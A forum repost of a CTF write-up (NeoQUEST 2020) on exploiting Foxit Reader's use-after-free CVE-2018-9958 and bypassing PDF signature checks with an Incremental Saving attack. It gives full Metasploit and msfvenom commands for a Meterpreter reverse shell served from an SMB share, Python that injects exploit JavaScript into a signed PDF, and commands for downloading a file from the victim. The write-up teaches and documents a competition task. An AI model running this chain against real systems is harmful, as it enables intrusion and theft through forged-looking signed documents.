Эксплуатируем уязвимость foxit reader и обходим цифровую подпись на примере задания neoquest-2020

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER
Регистрация
7 Фев 2020
Сообщения
525
Реакции
98
Репутация
147
Сегодня мы расскажем о самом сложном задании NeoQUEST- 2019 2020. Да-да, то самое, с цифровыми подписями и эксплуатацией уязвимости Foxit Reader. Да-да, все верно, существуют две версии этого задания, и в этой статье мы наконец как следует его разберем. Добро пожаловать под кат :)



Изначально задание было разработано для очной ставки

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

, однако так и осталось непокоренным непройденным. Мы его немного видоизменили и предложили решить участникам онлайн-этапа

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Однако на сложность задания наши изменения не повлияли — его прошли всего 2 человека!



Итак, первая версия предусматривала прохождение в локальной сети, а вторая в глобальной сети интернет, для чего необходимо провести некоторые манипуляции с эксплоитом и его шеллкодом.



В легенде

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

был дан IP-адрес, при переходе по которому участники видели форму отправки заявлений, а также список требований к ним и пример корректного заявления. Первым делом внимательно изучим пример заявления: вдруг там будет что-то интересное? И правда, сразу же замечаем деталь:


Похоже, здесь используется Foxit Reader 9.0.1. Нам дано название ПО и его версия, хммм… Может, речь идет о какой-то уязвимости? И мы абсолютно правы: эта версия имеет use-after-free уязвимость, получившую идентификатор CVE-2018-9958. Эксплойт для уязвимости есть в Metasploit (что уже половина успеха, не правда ли?), почему бы не попробовать?



Эта уязвимость позволяет скачивать файлы с удаленной шары. Рассмотрим эксплуатацию данной уязвимости на примере оригинального задания 2019 года.



Итак, в 2019 году форма отправки заявлений находилась по адресу 192.168.108.129. Первым делом запускаем Kali Linux. Также нужно поднять шару, с которой будет запускаться основная полезная нагрузка – Meterpreter. Для этого скачиваем/обновляем samba-сервер:

sudo apt-get install samba
Затем создаем папку, которую будем шарить:


mkdir /mnt/files
sudo chmod 777 /mnt/files
Теперь нужно сконфигурировать samba-сервер. Для этого следует открыть конфигурационный файл /etc/samba/smb.conf и вставить туда следующий текст:





[global]
security = user
workgroup = MYGROUP
server string = Samba
guest account = nobody
map to guest = Bad User

[share]
path = /mnt/files
browseable = Yes
guest ok = Yes
writeable = Yes
public = yes


Последнее, что нужно сделать – перезапустить службы samba:





service smbd restart
service nmbd restart
Вот и все. Теперь содержимое папки /mnt/files доступно по адресу \\192.168.108.130\share. Следующий шаг – подготовка самого эксплойта. Для этого сконфигурируем Meterpreter и положим его на шару:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.130 LPORT=4444 --arch x86 -f exe -o /mnt/files/exploit.exe
sudo chmod 777 /mnt/files/exploit.exe
Теперь создадим PDF-файл с эксплойтом:

msfconsole
use exploit/windows/fileformat/foxit_reader_uaf
set LHOST 192.168.108.130
set EXENAME exploit.exe
set SHARE share
run
Включаем обработчик, который будет устанавливать связь с Meterpreter, когда он запустится на машине-жертве:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.130
set EXITONSESSION false
run -j
Вот и все! В версии задания 2020 года так проэксплутировать не выйдет (только если у вас нет внешнего IP, на котором вы можете поднять smb шару). Поэтому для прохождения этого задания в online-этапе необходимо проанализировать эксплоит и в качестве шеллкода залить свою полезную нагрузку, реализующую, например, reverse (если есть внешний IP) или bind shell. Предлагаем самостоятельно попробовать проэксплуатировать уязвимость, ведь лучше один раз сделать самому, чем сто раз прочитать! Осталось загрузить созданный PDF-документ в систему приема заявлений, и…


…ничего не происходит, так как файл не подписан! Похоже, система проверяет подпись какими-то дополнительными средствами перед тем, как документ открывается в Foxit Reader.

Следовательно, нужно придумать, как обойти проверку подписи.



Три наиболее свежих техники обхода подписи для PDF-файлов имеют идентификаторы CVE-2018-16042, CVE-2018-18688 и CVE-2018-18689. К счастью, группа исследователей, обнаружившая эти уязвимости, опубликовала примеры PDF-файлов для проверки. Проверим, как система будет реагировать на каждую атаку.



Атака Universal Signature Forgery: Реакция системы такая же, как и на неподписанный файл. Похоже, подпись не распознается.



Атака Signature Wrapping: Тот же результат, атака не работает.



А вот атака Incremental Saving Attack:


Мы почти у цели! Система проверила подпись и сообщила, что она не принадлежит сотруднику компании. Но у нас есть пример документа с подписью сотрудника! Значит, все, что остается – проявить ловкость рук и использовать Incremental Saving, чтобы встроить эксплойт, не сломав при этом подпись.



Можно самостоятельно написать библиотеку для низкоуровневой работы с pdf (как задумывал разработчик задания) или просто дописать эксплоит в конец (как сделал тестировщик, когда проходил задание). Если взглянуть на структуру PDF-эксплойта, становится ясно, что он состоит из двух объектов: JS-кода, вызывающего use-after-free и запускающего exe-файл на шаре, и каталога – основного объекта в PDF-файле – задающего в качестве действия при открывании документа вызов JS-кода. Значит, нужно добавить объект с JS-кодом в подписанный документ, а также обновить объект каталога. Сделать это можно следующим образом:

doc = PDF('example.pdf')
js_exploit = "...тут много JS-кода..."

obj_1 = Object({'OpenAction': ObjectReference(28),
'AcroForm': ObjectReference(15),
'Pages': ObjectReference(1),
'PageLayout': '/OneColumn',
'Type': '/Catalog'
}, id=13)
doc.update_object(obj_1, 1)

obj_2 = Object({'S': '/JavaScript',
'JS': js_exploit
})
doc.add_new_object(obj_2)

doc.save(root_id=13)
Что мы видим? Документ успешно проходит проверку подписи! После этого устанавливается новая сессия с Meterpreter, а значит, эксплойт срабатывает (иногда это происходит не с первого раза из-за вероятностной природы use-after-free).


Теперь можно использовать Meterpreter, чтобы найти и скачать файл nq2020_key.txt:

sessions -i 1
search -f nq2020_key.txt
download 'C:\Users\manager\Downloads\nq2020_key.txt
Ура звучат фанфары и аплодисменты! Мы наконец-то получили ключ! Было сложно, но для наших участников нет ничего невозможного — мы убеждаемся в этом уже который год!
 
Сверху